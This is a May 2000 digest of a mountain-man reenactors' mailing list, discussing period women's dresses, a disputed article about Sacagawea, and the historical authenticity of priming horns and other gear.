compared to me! If you want to buy a pattern already in your size, the
patterns published by Mill Farms and Kannik's Korner are said to be very
well researched.

If you decide to go with European dress, you may want to have skirts made
from wool or linen rather than cotton, because cotton can be highly
flammable, and you're going to be spending a lot of time around campfires.
Wool is somewhat fire-resistant, linen less so. In any case, remember those
three helpful words, "stop, drop, & roll."

Your humble & obedient servant,
Angela Gottfred





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From: [e-mail]
Subject: Re: MtMan-List: New to List...Cloth dresses..Indian
Date: 13 May 2000 12:43:59 -0400


--------------C4BDC584CA8769AC5F88E088
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

You know, we always talk about men's outfits, but very little on the
women's cloth (Indian) dresses.
Now here is something  that has bothered me for a long time.  The "T"
dress or cloth dress  can be 4 or 6 pieces of material.  Most of the
ones I have been able to study from museums to later photos, show one
piece of cloth that is long enough to go from front to back with a hole
cut for the head with a small slit in the back for a tie to close the
head opening.  The sleeves are added.  Some cloth was of a width you
might get the sleeves in the main body of the cloth with the body, but
not always.  These sleeves were meant to go almost to the wrists.
Two somewhat triangular insets to the main body of the dress going from
under the arm area to two to three or so inches beyond the main body of
the dress.  And there are variations of this pattern.  But who wants to
sew two big pieces of cloth together at the neck when a hole will do.
There can be some ribbon  or cloth for a little decoration on the bottom
of the dress and sleeves.  I see way too much ribbon on Indian dress at
events and pointed like sleeves that are somewhat medieval in design
that traders and some pattern companies are putting out.  These dresses
are meant to be very comfortable  and not to fit the figure except for a
belt.  And you wore them in layers.  Most women might have at least two
on at a time.  The under dress kept dirt from getting on your better
dress or to keep you warm, other than wearing a blanket or "shawl"
around your waist.

I do have patterns I can scan for anyone interested.  Hansan and I use
to have a go around because he had one of his dresses on backwards.  The
slit of the neck was in the front instead of the back.

But how many of you guys go around in ladies cloths?????    ;-)

Linda Holley

Larry Huber wrote:

> Hello, again, Helen,    I'm glad you found my suggestions helpful.
> Your suggestions on dress: man's shirt, simple skirt and moccasins is
> very typical dress seen on women at today's rendezvous.  It's
> practical and was often worn, I suspect, by women isolated from the
> company of other women.  Historically, in societies, women did not
> dress like men or wear men's clothing except as expediency.  Today, of
> course, try telling that to a modern woman.   We are living in a
> modern society, so wear what you feel most comfortable in if history
> is not your prime objective.     A white woman of the period we
> represent from England, France, Germany or America would wear garments
> consisting of the following: A shift or chemise undergarment with a
> petticoat (skirt) over it.  An apron went over the petticoat and a
> bodice(vest) went over the shift top.  Moccasins or clogs on the feet
> and a bonnet atop the head made up the typical outfit.    The shift is
> a single night gown-like garment made of linen or cotton that fell
> just below the knees .  The sleeves extended just beyond the elbows
> and were tied down with cord or ribbon.    The petticoat, as skirts
> were called then, wrapped around the waist and was tied with a sewn in
> cloth belt.  Slits were left in the side seams for access to "pockets"
> which were cloth bags tied with around the waist with ribbon.  These
> handy items, one to each side, rested between the shift and
> petticoat.  The first petticoat was the oldest and worn under several
> layers of additional petticoats depending on the weather.  The colder
> the climate, the more petticoats on top with the newest and best on
> top for church.    Often, an apron was tied over the petticoat.  Some
> of the woman's best needlework could go into her "dress" apron.  It
> was the one item of clothing she would change if guests showed up
> unexpected!    A woman was considered improperly dressed if she wasn't
> wearing a bodice and bonnet in public.  A bodice is basically a vest.
> They laced or buttoned up the front.  The attributes a woman was
> blessed with would determine how far up the bodice the lacing would
> go.  Most bonnets were a variation on the "mob" cap.  The "Mary
> Washington" cap is a local term for it by modern costumers.  It is
> simplicity itself: a circle of cloth gathered about the head with a
> ribbon.    A cautionary note about dresses and prairie bonnets.  They
> are inappropriate at a rendezvous.  Those items came into vogue at a
> later period and properly date from the 1850s on.  Those items look as
> wrong on a woman as cowboy clothes look on a man.    If you are
> planning on going as a "captive", you should dress as an Indian
> woman.  A good pattern would be a dress made of simple print
> calico(one print on a base color)or solid color cloth cut to a "skin"
> shape.  This pattern is four pieces.  A front and back joined at the
> shoulders with an opening for the head and two side pieces that sew
> from the sleeve cuff all the way beyond the dress hem.  This leaves
> two ends of cloth dangling below the hem line on the sides.  This
> style mimicked the deer legs that hung naturally down from a deerskin
> dress.  It is a old style and quickly disappeared by the Indian War
> period.    I hope this clarifies some of the information a gave you on
> our last post.  The history of clothing is an interesting aspect of
> this lifestyle and transports you more than anything else back in
> time.  When you start wearing oddly cut clothing of the day you, at
> first, find it inconvenient because it's different.  You know you've
> really bought into all this when you start wearing it around the house
> because it feels comfortable.  The styles of clothing worn during the
> fur trade era was clothing that had been worn virtually unchanged for
> hundreds of years.  It didn't change because it worked for the common
> person.  As settlement brought ready made clothing and the industrial
> revolution made such items affordable, clothing changed to reflect
> more fashionable styles.  The fur trade is at the end of an era.   And
> it's clothing was disappearing, too.    Sigh.  I've rambled on too
> long again, Helen.  See what a little education and research will do
> to you?  Don't get us talking about the virtues or vices of flint
> versus percussion locks! Good luck.    Larry Huber

--------------C4BDC584CA8769AC5F88E088
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit

<!doctype html public "-//w3c//dtd html 4.0 transitional//en">
<html>
<body bgcolor="#FFFFFF">
You know, we always talk about men's outfits, but very little on the women's
cloth (Indian) dresses.
<br>Now here is something  that has bothered me for a long time.
The "T" dress or cloth dress  can be 4 or 6 pieces of material.
Most of the ones I have been able to study from museums to later photos,
show one piece of cloth that is long enough to go from front to back with
a hole cut for the head with a small slit in the back for a tie to close
the head opening.  The sleeves are added.  Some cloth was of
a width you might get the sleeves in the main body of the cloth with the
body, but not always.  These sleeves were meant to go almost to the
wrists.
<br>Two somewhat triangular insets to the main body of the dress going
from under the arm area to two to three or so inches beyond the main body
of the dress.  And there are variations of this pattern.  But
who wants to sew two big pieces of cloth together at the neck when a hole
will do.
<br>There can be some ribbon  or cloth for a little decoration on
the bottom of the dress and sleeves.  I see way too much ribbon on
Indian dress at events and pointed like sleeves that are somewhat medieval
in design that traders and some pattern companies are putting out.
These dresses are meant to be very comfortable  and not to fit the
figure except for a belt.  And you wore them in layers.  Most
women might have at least two on at a time.  The under dress kept
dirt from getting on your better dress or to keep you warm, other than
wearing a blanket or "shawl" around your waist.
<p>I do have patterns I can scan for anyone interested.  Hansan and
I use to have a go around because he had one of his dresses on backwards.
The slit of the neck was in the front instead of the back.
<p>But how many of you guys go around in ladies cloths?????
;-)
<p>Linda Holley
<p>Larry Huber wrote:
<blockquote TYPE=CITE><style></style>
<font face="Arial"><font size=-1>Hello,
again, Helen,</font></font><font face="Arial"><font size=-1>
I'm glad you found my suggestions helpful.  Your suggestions on dress:
man's shirt, simple skirt and moccasins is very typical dress seen on women
at today's rendezvous.  It's practical and was often worn, I suspect,
by women isolated from the company of other women.  Historically,
in societies, women did not dress like men or wear men's clothing except
as expediency.  Today, of course, try telling that to a modern woman.
We <u>are </u>living in a modern society, so wear what you feel most comfortable
in if history is not your prime objective.</font></font> <font face="Arial"><font size=-1>
A white woman of the period we represent from England, France, Germany
or America would wear garments consisting of the following: A shift or
chemise undergarment with a petticoat (skirt) over it.  An apron went
over the petticoat and a bodice(vest) went over the shift top.  Moccasins
or clogs on the feet and a bonnet atop the head made up the typical outfit.</font></font><font face="Arial"><font size=-1>
The shift is a single night gown-like garment made of linen or cotton that
fell just below the knees .  The sleeves extended just beyond the
elbows and were tied down with cord or ribbon.</font></font><font face="Arial"><font size=-1>
The petticoat, as skirts were called then, wrapped around the waist and
was tied with a sewn in cloth belt.  Slits were left in the side seams
for access to "pockets" which were cloth bags tied with around the waist
with ribbon.  These handy items, one to each side, rested between
the shift and petticoat.  The first petticoat was the oldest and worn
under several layers of additional petticoats depending on the weather.
The colder the climate, the more petticoats on top with the newest and
best on top for church.</font></font><font face="Arial"><font size=-1>
Often, an apron was tied over the petticoat.  Some of the woman's
best needlework could go into her "dress" apron.  It was the one item
of clothing she would change if guests showed up unexpected!</font></font><font face="Arial"><font size=-1>
A woman was considered improperly dressed if she wasn't wearing a bodice
and bonnet in public.  A bodice is basically a vest.  They laced
or buttoned up the front.  The attributes a woman was blessed with
would determine how far up the bodice the lacing would go.  Most bonnets
were a variation on the "mob" cap.  The "Mary Washington" cap is a
local term for it by modern costumers.  It is simplicity itself: a
circle of cloth gathered about the head with a ribbon.</font></font><font face="Arial"><font size=-1>
A cautionary note about dresses and prairie bonnets.  They are inappropriate
at a rendezvous.  Those items came into vogue at a later period and
properly date from the 1850s on.  Those items look as wrong on a woman
as cowboy clothes look on a man.</font></font><font face="Arial"><font size=-1>
If you are planning on going as a "captive", you should dress as an Indian
woman.  A good pattern would be a dress made of simple print calico(one
print on a base color)or solid color cloth cut to a "skin" shape.
This pattern is four pieces.  A front and back joined at the shoulders
with an opening for the head and two side pieces that sew from the sleeve
cuff all the way beyond the dress hem.  This leaves two ends of cloth
dangling below the hem line on the sides.  This style mimicked the
deer legs that hung naturally down from a deerskin dress.  It is a
old style and quickly disappeared by the Indian War period.</font></font><font face="Arial"><font size=-1>
I hope this clarifies some of the information a gave you on our last post.
The history of clothing is an interesting aspect of this lifestyle and
transports you more than anything else back in time.  When you start
wearing oddly cut clothing of the day you, at first, find it inconvenient
because it's different.  You know you've really bought into all this
when you start wearing it around the house because it feels comfortable.
The styles of clothing worn during the fur trade era was clothing that
had been worn virtually unchanged for hundreds of years.  It didn't
change because it worked for the common person.  As settlement brought
ready made clothing and the industrial revolution made such items affordable,
clothing changed to reflect more fashionable styles.  The fur trade
is at the end of an era.   And it's clothing was disappearing,
too.</font></font><font face="Arial"><font size=-1>    Sigh.
I've rambled on too long again, Helen.  See what a little education
and research will do to you?  Don't get us talking about the virtues
or vices of flint versus percussion locks!</font></font> <font face="Arial"><font size=-1>Good
luck.</font></font><font face="Arial"><font size=-1>
Larry Huber</font></font></blockquote>

</body>
</html>

--------------C4BDC584CA8769AC5F88E088--


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-------------------------------------------------------------------------------

From: Angela Gottfred <[e-mail]>
Subject: Re: MtMan-List: Sacagawea (was: The New Gold Dollar Coin)
Date: 13 May 2000 11:49:29 -0600

"John C. Funk, Jr." <[e-mail]> forwarded the following info on
Sacagawea, which I thought I'd comment on. Even though I'm a Canadian, I
can't sit by and see Lewis & Clark criticized unfairly, no matter how
mildly ;-)

> Sacagawea had been kidnapped and enslaved by the Mandan Sioux who were
> living in Fort Mandan, North Dakota.  The Mandan gambled her away to
> Charbonneau, a White fur trader who had lived among them for many years.

Sacagawea is consistently described as having been captured by "the
Minnetares"--either Gros Ventres or Blackfoot ("Minnetaree of the Plains").
And I've never heard that she was "gambled away"--I always assumed she had
been sold.

> These women [Charbonneau's wives]
> were called "Squaws" which is the Algonquin word for "prostitutes".

In American English, then and now, "squaw" means "Indian woman". Today it
is often a derogatory term. We do not know what Native word, if any,
Charbonneau or the Mandans used to describe his wives, but it seems very
unlikely that the Mandans had any concept of prostitution--I've just been
reading Alexander Henry the Younger's Mandan journals, which gives many
details of Mandan sexual practices in 1806, right after the Lewis & Clark
Expedition.  The meaning of "squaw" in Native languages is unclear, but in
Cree, an Algonkian language, "iskwao" means "woman/wife", similar to the
German "frau" or the French "femme".

>She had experienced a difficult delivery
> under primitive, unsanitary conditions when Jean-Baptiste (called Pomp by
> Sacagawea) was born.

Pompey was likely a nickname given to the baby by one of the Captains,
after the Roman general Pompey the Great. (Parents of newborns will
understand this joke!)

The author of this article makes much of the apparently casual way
Sacagawea is mentioned in early journal entries by Lewis & Clark, and
suggests that this shows that she was not a very highly valued member of
the expedition. I think this is unfair to the Captains. Today, we keep
journals primarily to express our emotions: then, a journal was primarily
meant to record events, and journals of the period often treat all but the
most distressing events in a very matter-of-fact way; "emoting" was simply
not done in a report to one's government, which was the purpose of the
journals kept by members of the L&C expedition.


>Sacagawea was very ill.
> Clark further recorded on the evening of June 16, 1805 that she was "out
> of her senses...If she dies it will be the fault of her husband as I am
> now convinced."
> Clark's medical knowledge and these recorded symptoms indicate that the
> explorers believed that Sacagawea had a venereal disease.

I don't think it's easy to say whether they thought Sacagawea had a
venereal disease. It's entirely possible Charbonneau was blamed  for making
her sick through over-work or abuse or not following the prescribed
treatment. "Obstruction of the mensis" is not necessarily venereal disease;
in Dr. Elliott Coues' edition of the L&C journals, published in the 1893,
he notes that "the tender age of her infant" should have called into
question a diagnosis of "obstruction of the menses", suggesting that this
was a different ailment. Other journals of the period call venereal disease
by name.

Toussaint Charbonneau deserves all the harsh treatment he gets in this
article; Sacagawea's bravery, justly praised by the author, was not
uncommon amongst Native women.

Your humble & obedient servant,
Angela Gottfred

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From: "John C. Funk, Jr." <[e-mail]>
Subject: Re: MtMan-List: Sacagawea (was: The New Gold Dollar Coin)
Date: 13 May 2000 13:02:28 -0700

Angela,
Lest anyone think I authored the article I posted, "The New Gold Dollar
Coin", tis not the case.  This was sent to me and I thought it interesting
enough to forward to the list for general reference and interest.
Your points are well taken regarding this interpretation of the events in
question.  I leave it to the reader(s) to ferret the facts.
John Funk

----- Original Message -----
Sent: Tuesday, May 13, 1980 10:49 AM


> "John C. Funk, Jr." <[e-mail]> forwarded the following info
on
> Sacagawea, which I thought I'd comment on. Even though I'm a Canadian, I
> can't sit by and see Lewis & Clark criticized unfairly, no matter how
> mildly ;-)
>
> > Sacagawea had been kidnapped and enslaved by the Mandan Sioux who were
> > living in Fort Mandan, North Dakota.  The Mandan gambled her away to
> > Charbonneau, a White fur trader who had lived among them for many years.
>
> Sacagawea is consistently described as having been captured by "the
> Minnetares"--either Gros Ventres or Blackfoot ("Minnetaree of the
Plains").
> And I've never heard that she was "gambled away"--I always assumed she had
> been sold.
>
> > These women [Charbonneau's wives]
> > were called "Squaws" which is the Algonquin word for "prostitutes".
>
> In American English, then and now, "squaw" means "Indian woman". Today it
> is often a derogatory term. We do not know what Native word, if any,
> Charbonneau or the Mandans used to describe his wives, but it seems very
> unlikely that the Mandans had any concept of prostitution--I've just been
> reading Alexander Henry the Younger's Mandan journals, which gives many
> details of Mandan sexual practices in 1806, right after the Lewis & Clark
> Expedition.  The meaning of "squaw" in Native languages is unclear, but in
> Cree, an Algonkian language, "iskwao" means "woman/wife", similar to the
> German "frau" or the French "femme".
>
> >She had experienced a difficult delivery
> > under primitive, unsanitary conditions when Jean-Baptiste (called Pomp
by
> > Sacagawea) was born.
>
> Pompey was likely a nickname given to the baby by one of the Captains,
> after the Roman general Pompey the Great. (Parents of newborns will
> understand this joke!)
>
> The author of this article makes much of the apparently casual way
> Sacagawea is mentioned in early journal entries by Lewis & Clark, and
> suggests that this shows that she was not a very highly valued member of
> the expedition. I think this is unfair to the Captains. Today, we keep
> journals primarily to express our emotions: then, a journal was primarily
> meant to record events, and journals of the period often treat all but the
> most distressing events in a very matter-of-fact way; "emoting" was simply
> not done in a report to one's government, which was the purpose of the
> journals kept by members of the L&C expedition.
>
>
> >Sacagawea was very ill.
> > Clark further recorded on the evening of June 16, 1805 that she was "out
> > of her senses...If she dies it will be the fault of her husband as I am
> > now convinced."
> > Clark's medical knowledge and these recorded symptoms indicate that the
> > explorers believed that Sacagawea had a venereal disease.
>
> I don't think it's easy to say whether they thought Sacagawea had a
> venereal disease. It's entirely possible Charbonneau was blamed  for
making
> her sick through over-work or abuse or not following the prescribed
> treatment. "Obstruction of the mensis" is not necessarily venereal
disease;
> in Dr. Elliott Coues' edition of the L&C journals, published in the 1893,
> he notes that "the tender age of her infant" should have called into
> question a diagnosis of "obstruction of the menses", suggesting that this
> was a different ailment. Other journals of the period call venereal
disease
> by name.
>
> Toussaint Charbonneau deserves all the harsh treatment he gets in this
> article; Sacagawea's bravery, justly praised by the author, was not
> uncommon amongst Native women.
>
> Your humble & obedient servant,
> Angela Gottfred
>
> ----------------------
> hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html
>


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-------------------------------------------------------------------------------

From: [e-mail]
Subject: Re: MtMan-List: Sacagawea (was: The New Gold Dollar Coin)
Date: 13 May 2000 17:39:26 EDT

[e-mail] writes:

> Pompey was likely a nickname given to the baby by one of the Captains,
>  after the Roman general Pompey the Great. (Parents of newborns will
>  understand this joke!)>>

Thank you Angela I was about to write something similar on the Sacagawea
story, but you did a much better job.

If I remember correctly Jean-Baptise Charbonneau was called "Pomp"
by his mother, which in Shoshone means "first born." This of course was
changed to Pompey by Clark as a fun little loving nick name that we often
give kids.

YMOS
Ghosting Wolf

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From: "Frank Fusco" <[e-mail]>
Subject: MtMan-List: powder "horns?"
Date: 13 May 2000 17:04:42 -0500

    I let myself in for some jibes when I mentioned my primer horn has a
brass 'thingy' on the end to make priming easier.  I don't mind.  While
'they' may not have had one of those exact brass tips, there were other type
of horn tips, stoppers, spouts and such during the time period in question.
Unlikely 'they' , meaning the trappers made use of them.
    However, it is my belief that we are very much still learning what may
have been available and in use during the pre-1840 era.
    My point:  while visiting New Orleans some years ago we went to a museum
where I saw a "horn" made entirely out of metal.  It looked like tin or
tinned steel.  It was not designed to imitate a natural horn but was,
instead, strictly utilitarian.  Not my choice of materials, particularly in
110% humidity of south Louisiana but there it was. The label credited it to
belong to some famous individual from history. Cannot reccolect who but will
follow-up one day if it comes to me. I took pictures. If I locate those I
will make available off-line also.
    If he had one, it is possible some trappers might have had some also.
    We do not always know what 'they' might have had.  I believe we should
not become fixed in our concepts of how 'they' lived and what 'they' had.
Romanticism is fun but history is constantly evolving with new found
information.
Frank "Bearclaw" Fusco, Mountain Home, Arkansas


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From: "Roger Lahti" <[e-mail]>
Subject: Re: MtMan-List: powder "horns?"
Date: 13 May 2000 17:09:19 -0700


----- Original Message -----
Sent: Saturday, May 13, 2000 3:04 PM


If he had one, it is possible some trappers might have had some also.
>     We do not always know what 'they' might have had.  I believe we should
> not become fixed in our concepts of how 'they' lived and what 'they' had.
> Romanticism is fun but history is constantly evolving with new found
> information.

Bearclaw,

I probably can't do the subject of "period correct" or "authenticated to"
credit but I would like to comment on the idea you put forth. Your suggested
way of looking at historical "re-creating" is shared by many but many also
adhear to, what I would characterize as, the opposite way of looking at what
we do.

If you take your way of looking at "what they might have had" to it's
logical conclusion then most anything that was possessed by anyone during or
before that particular time period, let's say, in North America was probably
posessed by "some trappers" in the RMFT. That, you might agree is a bit too
far stretched but where do you stop?

The other way of looking at it or deciding what is or is not "period
correct" or authentic to a time and place in our history is by adhearing to
serious documentation. Those that use this method may fairly be said to be
"re-creating" that era more correctly the way it was originally lived. So if
they are sure that "any particular thing or practice" was carried or done
back then by trappers and limit themselves to those things they can prove,
perhaps they are missing out on the use of "various items", etc. But they
are being as faithful to the original history as is possible, given the
knowledge available to them.

If you see something unusual in a museum (not attributed to a trapper but of
that vintage) or come up with some trick way of adding to how we practice
our shooting or camping, (and it looks and functions old timey) and say that
some trapper might have had this or some trapper might have thought up this
trick thing so it is ok and authentic, you are diluting history. That is not
re-creating history, that is inventing history. Your welcome in most cases
to do it if you wish but I respectfully submit that it is not very
scientific nor is it "period/place correct".

Now if you can prove that such a metal horn was actually carried by a
trapper during the time you are concerned about and in the area you are
concerned about, that would be great. If you can't, then be honest and say
"this is neat and old and of the time, so I choose to carry it even though I
can't show it was actually done".

We do not know in all ways how they did things or what they carried but the
knowledge is constantly growing with fair certainty and our ideas of what
was done and how it was done are growing and changing. We shouldn't be
fixated on the Romanticism to the point we don't embrace new knowledge but
we should be willing to wait for good solid evidence and it continually
comes availbable. Respecfully, I remain.....

YMOS
Capt. Lahti'




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From: <[e-mail]>
Subject: Re: MtMan-List: priming horn
Date: 13 May 2000 18:33:16 -0600

Dennis Earp wrote:

> List,
>
> On the subject of priming horns, has anyone ever came across primary
> documentation on the use of priming horns for 1750-1830 period in
> America?  I've found documentation for priming horns that were used
> for cannons, but as yet have not been able to find it for rifles.  I know
> there are some shown in reference books, but I don't believe they were
> ever authenicated as to the time period and some claim they are actually
> late 19th century "day" horns.
>
> Dennis

If you look at the Dixie Antique Arms Quarterlies, they sometimes show cased
flint pistols and matched cased flint pistols with all the accs. which in
some cases show small priming devices. From the text and the picture they
look like ebony bodies with brass or nicked spouts. These are gentlemen
weapons, dueling, coach, etc. not going and coming from the woods or
mountains, with all the items in these cased sets - you would loose half
before getting out of site of the settlements.

I have an original F&I War period priming horn (made of cow horn) with a
forged ring that also has a powder measurer also made of cow horn attached.
Nothing fancy other than someone's name scratched on it, my grandfather
claimed it was handed down through the family, but we never did figure out
who the name belonged to ?

In Grants book on pouches and horn, etc. there may be one or two bags with
priming horns, have to look, will do that and get back to you. Will also see
what the hunter from Pottstown PA had in his shooting bag, finally found that
article a few weeks that we talked about months ago.

Later
Buck



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From: <[e-mail]>
Subject: Re: MtMan-List: priming horn
Date: 13 May 2000 18:45:07 -0600

> >In "Kentucky Rifles & Pistols 1750-1850", pg 257 shows a hunting bag and
> accouterments of David Cooke (born 1761, died 1842.) It shows, among other
> things, a small priming horn... (see at:
> >http://members.aol.com:/swcushing/myhomepage/bag1800.jpg )
> >This reference book was published for "The Kentucky Rifle Association" in
> 1976, so I think well documented...
> >Don't see a short starter though.....
> >Ymos,
> >Steve

Steve,
I got to hold the Cook rifle and shooting bag when on display at an NRA
convention probably ten years ago, at that time Jack Davis of Ohio, a gun trader
and collector had it on display along with Cook's fishing and camp items.

The article you refer to says Norristown, but Mr. Cook was housed out of
Pottstown during his time as a meat hunter, serving several towns. The mistake
of towns was made in 1978 in an article written in the American Hunter, the
author got confused on the name and probably figured it didn't matter anyway.
Davis wrote a correction after studying Mr. Cook's life and gathering up
everything he had come in contact with. At that time Jack was going to will it
to the Pottstown Historical Society at the time of his death, putting it back to
Cook's hometown.

Later
Buck

PS
I took lots of pictures of the bag, rifle and his other equipage, someday we'll
reproduce the fishing kit, tin hinged box, etc. GBW has the sketches for a
winter project - I get the first kit, then we'll retail them.



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From: <[e-mail]>
Subject: Re: MtMan-List: Gourds Buck
Date: 13 May 2000 18:56:27 -0600

Walt Foster wrote:

> Good morning Buck,
>
> Thanks for the warning. Stop.  But about what? Stop.  I learned to write in
> telegraphic style when I went to work on the NP railroad for a while 40
> years ago. Stop.  I am talking about 2 camps. Stop.  One camp is the Clark
> camp on the Clarks Fork of the Yellowstone in 1806. Stop.  The other camp
> with Jim Bridger is in the same location.  Stop.
>
> What does this have to do with east of Mississippi? Stop.  Or anyplace else
> except the location being talked about by me. Stop.  Let me write it before
> you jump.  Stop.   I am going to try to answer Mr. Stickler question this
> morning as I am sitting watching the snow falling around me here in Park
> City, Montana.
>
> Thanks again for the warning.  Stop.  Walt

I don't know what the "stop" crap is Walt, from the original message you guys
made it sound like gourds where a new item 1800's, when in fact they have been
traded, and carried all over the America's. Thomas Jefferson had gotten seeds
from North and South America in his trading before becoming president, L&C, etc.
some of his trades came from the southwest - Mexico, some from northern trade
possibly Canada, etc. Look the Spanish trade from South America to the Canadian
border.



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From: [e-mail] (Bill Cunningham)
Subject: Re: MtMan-List: powder "horns?"
Date: 13 May 2000 23:25:56 -0600

Man! You are GOOD, Roger.
-----Original Message-----


>
>----- Original Message -----
>From: "Frank Fusco" <[e-mail]>
>To: "MM" <[e-mail]>
>Sent: Saturday, May 13, 2000 3:04 PM
>Subject: MtMan-List: powder "horns?"
>
>
>If he had one, it is possible some trappers might have had some also.
>>     We do not always know what 'they' might have had.  I believe we
should
>> not become fixed in our concepts of how 'they' lived and what 'they' had.
>> Romanticism is fun but history is constantly evolving with new found
>> information.
>
>Bearclaw,
>
>I probably can't do the subject of "period correct" or "authenticated to"
>credit but I would like to comment on the idea you put forth. Your
suggested
>way of looking at historical "re-creating" is shared by many but many also
>adhear to, what I would characterize as, the opposite way of looking at
what
>we do.
>
>If you take your way of looking at "what they might have had" to it's
>logical conclusion then most anything that was possessed by anyone during
or
>before that particular time period, let's say, in North America was
probably
>posessed by "some trappers" in the RMFT. That, you might agree is a bit too
>far stretched but where do you stop?
>
>The other way of looking at it or deciding what is or is not "period
>correct" or authentic to a time and place in our history is by adhearing to
>serious documentation. Those that use this method may fairly be said to be
>"re-creating" that era more correctly the way it was originally lived. So
if
>they are sure that "any particular thing or practice" was carried or done
>back then by trappers and limit themselves to those things they can prove,
>perhaps they are missing out on the use of "various items", etc. But they
>are being as faithful to the original history as is possible, given the
>knowledge available to them.
>
>If you see something unusual in a museum (not attributed to a trapper but
of
>that vintage) or come up with some trick way of adding to how we practice
>our shooting or camping, (and it looks and functions old timey) and say
that
>some trapper might have had this or some trapper might have thought up this
>trick thing so it is ok and authentic, you are diluting history. That is
not
>re-creating history, that is inventing history. Your welcome in most cases
>to do it if you wish but I respectfully submit that it is not very
>scientific nor is it "period/place correct".
>
>Now if you can prove that such a metal horn was actually carried by a
>trapper during the time you are concerned about and in the area you are
>concerned about, that would be great. If you can't, then be honest and say
>"this is neat and old and of the time, so I choose to carry it even though
I
>can't show it was actually done".
>
>We do not know in all ways how they did things or what they carried but the
>knowledge is constantly growing with fair certainty and our ideas of what
>was done and how it was done are growing and changing. We shouldn't be
>fixated on the Romanticism to the point we don't embrace new knowledge but
>we should be willing to wait for good solid evidence and it continually
>comes availbable. Respecfully, I remain.....
>
>YMOS
>Capt. Lahti'
>
>
>
>
>----------------------
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>


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-------------------------------------------------------------------------------

From: Randal J Bublitz <[e-mail]>
Subject: Re: MtMan-List: Sacagawea (was: The New Gold Dollar Coin)
Date: 13 May 2000 23:27:03 -0700

Just a quick note.....  if you've had one of the new dollar coins they
don't look 'Gold" for long...they tarnish quickly...not a good tribute to
an American Hero.....   Birdwoman.....        hardtack

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From: [e-mail]
Subject: Re: MtMan-List: powder "horns?"
Date: 14 May 2000 09:38:54 -0500

Washtahay-
At 05:04 PM 5/13/00 -0500, you wrote:
>    I let myself in for some jibes when I mentioned my primer horn has a
>brass 'thingy' on the end to make priming easier.  I don't mind.  While
>'they' may not have had one of those exact brass tips, there were other type
>of horn tips, stoppers, spouts and such during the time period in question.
>Unlikely 'they' , meaning the trappers made use of them.
    Horns were traded with charger heads in place.  At least as early as 1805,
HBC was ordering horns with "brass mountings", surviving specimens show a
brass ring around the large end of the horn, brass eyelets for the carrying
strap, and an adjustable brass charger head.  Similar horns were traded in
the US, and were available in St Louis in quantities that would indicate
they were trade items.
    By "brass thingy" were you referring to one of those priming valves as
sold by TOTW and other suppliers?  Most likely, those are a recent
innovation.  They incorporate a fine coil spring, and the work that went
into making those ca 1830 makes it unlikely they were in use.
    Plus they can gum up badly in humid weather.

>    My point:  while visiting New Orleans some years ago we went to a museum
>where I saw a "horn" made entirely out of metal.  It looked like tin or
>tinned steel.  It was not designed to imitate a natural horn but was,
>instead, strictly utilitarian.
    From your description, I'm not sure if the item you refer to is shaped
like a horn or if it is more flask-shaped.
    Most of the early metal flasks (actually, every one I have seen or seen
referenced) were of copper, brass, or silver.  These metals offer a number
of advantages: soft, easy to form, easy to join, non-ferrous (so no rust
and no sparks).  These were traded to some extent in the west, at least one
is mentioned at Fort Union (sorry, don't recall the date).
    All of the iron or tinned iron "horns" with which I am familiar post-date
the Civil War.  During the Victorian era, curio cabinets became
popular--most of the tinned horns were intended for these.  I used to know
a guy who collected these (he must have had 40 or 50 of 'em).  According to
him, all of the specimens he had seen were machine-made and had seams like
a tin can-folded and soldered.  In the times I examined his collection, I
never saw any indication the horns had been used to hold powder.

>    If he had one, it is possible some trappers might have had some also.
>    We do not always know what 'they' might have had.  I believe we should
>not become fixed in our concepts of how 'they' lived and what 'they' had.
>Romanticism is fun but history is constantly evolving with new found
>information.
    It has always seemed easier to me to do the research first, then acquire
equipment.  Trying to make equipment fit research leads to too many
rationalizations.
LongWalker c. du B.


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-------------------------------------------------------------------------------

From: Concho Smith <[e-mail]>
Subject: MtMan-List: Re: Gourds Buck[OFF TOPIC]
Date: 14 May 2000 10:53:50 EDT

<[e-mail]> wrote:
Walt Foster wrote:

> Good morning Buck,
>
> Thanks for the warning. Stop.  But about what? Stop.  I learned to writ=
e in
> telegraphic style when I went to work on the NP railroad for a while 40=

> years ago. Stop.  I am talking about 2 camps. Stop.  One camp is the
Clark.............

Hey Walt,

I know what your saying and understand what Buck is saying about how the =
trade
of different things could and did put items in uncommon places, anyway Bu=
ck
won't be around for a few days to reply.

He was invited with about 25-30 other drag racers from the USA and Canada=

(Super Stock drivers from the early sixties, like Sox & Martin, Jenkins, =
and
so on) to a convention in Vineland NJ, he left last night, said would try=
 and
get back by Tue. - will call me after todays meetings.


____________________________________________________________________
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From: "Wynn & Gretchen Ormond" <[e-mail]>
Subject: MtMan-List: Women's Clothing
Date: 13 May 2000 21:09:53 -0600

This is a multi-part message in MIME format.

------=_NextPart_000_0005_01BFBD1F.958943A0
Content-Type: text/plain;
    charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Not any way to detract from the good advice given here or in the Books =
recommended, but I would like to list some other sources for information =
about women's clothing and a few conjectures that may open a debate.

By far the largest number of women involved in the fur trade were at =
least part Indian. If a modern blonde haired blue eyed woman wants to =
play that part I say have at it. It is my assumption that most of the =
trappers involved were between twenty and forty and a lot of them were =
also Indians and part bloods. From what some of the boys on this group =
have indicated they have been forty before and arn't going back. Their =
blonde (grey) hair wont keep them from playing a part and neither should =
a woman's. (Hopefully the word "play" does not insult anyone)

In that light, I would suggest AJ Millers notes and painting. He is a =
romantic with artistic license but he is one of the few we have. He also =
painted a lot of woman. Both he and Kurtz pictured a lot of those women =
either nude or topless. Something I would like to encourage as "very =
authentic to the period".<BG> Outside of that he show both skirts and =
dresses and gives some detailed descriptions (for instance Plate 72 in =
The West of AJM ).=20

Secondly, Don Berry in Majority of Scoundrels quotes Irving who =
supposedly quotes Bonneville who was there and describes a free trappers =
wife in detail. (317) That is not exactly clear documentation but as =
Berry says "(it) is among the best we have".

If I may paraphrase a lot they describe a long haired woman who loves =
rich bright colors, hawk bells, rings, trinkets, etc and in a big way. =
She is wearing a "red, green or sometimes gray cloth (robe)", although =
the paintings usually look more like leather. Her saddles and equipage =
are very distinctive and functional.=20

This kind of get up might be too gaudy for some, and to immodest for =
others. But it is my two cents whether it is worth that or not.

YMOS

WY


